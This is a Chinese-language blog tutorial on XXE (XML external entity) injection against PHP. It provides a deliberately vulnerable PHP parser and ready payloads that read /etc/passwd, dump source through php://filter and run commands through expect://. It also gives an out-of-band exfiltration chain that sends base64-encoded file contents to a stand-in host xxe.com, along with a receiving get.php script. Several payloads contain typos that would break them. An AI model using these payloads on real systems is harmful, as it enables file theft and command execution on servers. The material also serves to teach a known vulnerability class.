XXE外部实体注入漏洞——PHP
前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。
漏洞利用
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
测试代码
使用simplexml_load_string函数解析body
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?>
漏洞测试
漏洞测试方式1
有回显,直接读取文件 有过滤就自己看着办
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"
部分引用了目标服务器(即下的/etc/passwd
文件,服务器解析XML内容后,会将这一文件内容存入&xxe
中,然后将数据返回给恶意访问者。
这里我们还可以利用xxe获取页面源码
(2)使用php协议
1 2 3 4 5 6 7 | <?xml version= "1.0" encoding= "utf-8" ?> <!DOCTYPE xxe[ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php" >]> <root> <name>&xxe;</name> </root> |
返回的即为index.php的源码
执行系统命令
在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe[ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "expect://whoami">]> <root> <name>&xxe;</name> </root>
测试2
思路 无回显
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxe.com/1.xml"> %remote;]> 将以下1.xml保存到WEB服务器下 1.xml <!ENTITY % a SYSTEM "file:///etc/passwd"> <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
楼洞测试方式3
在主机上放一个接收文件的php(get.php):
<?php file_put_contents('01.txt', $_GET['xxe_local']); ?> 1. xml内容: <!ENTITY % payloadSYSTEM "php://filter/read=convert.-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>"> %int; %trick; 这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。 接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。 发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行编码后传给get.php,最后保存到主机上
查看01.txt
一串base64 然后解码就是你要的东西
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何调试 malloc 的底层源码
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 因为Apifox不支持离线,我果断选择了Apipost!
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端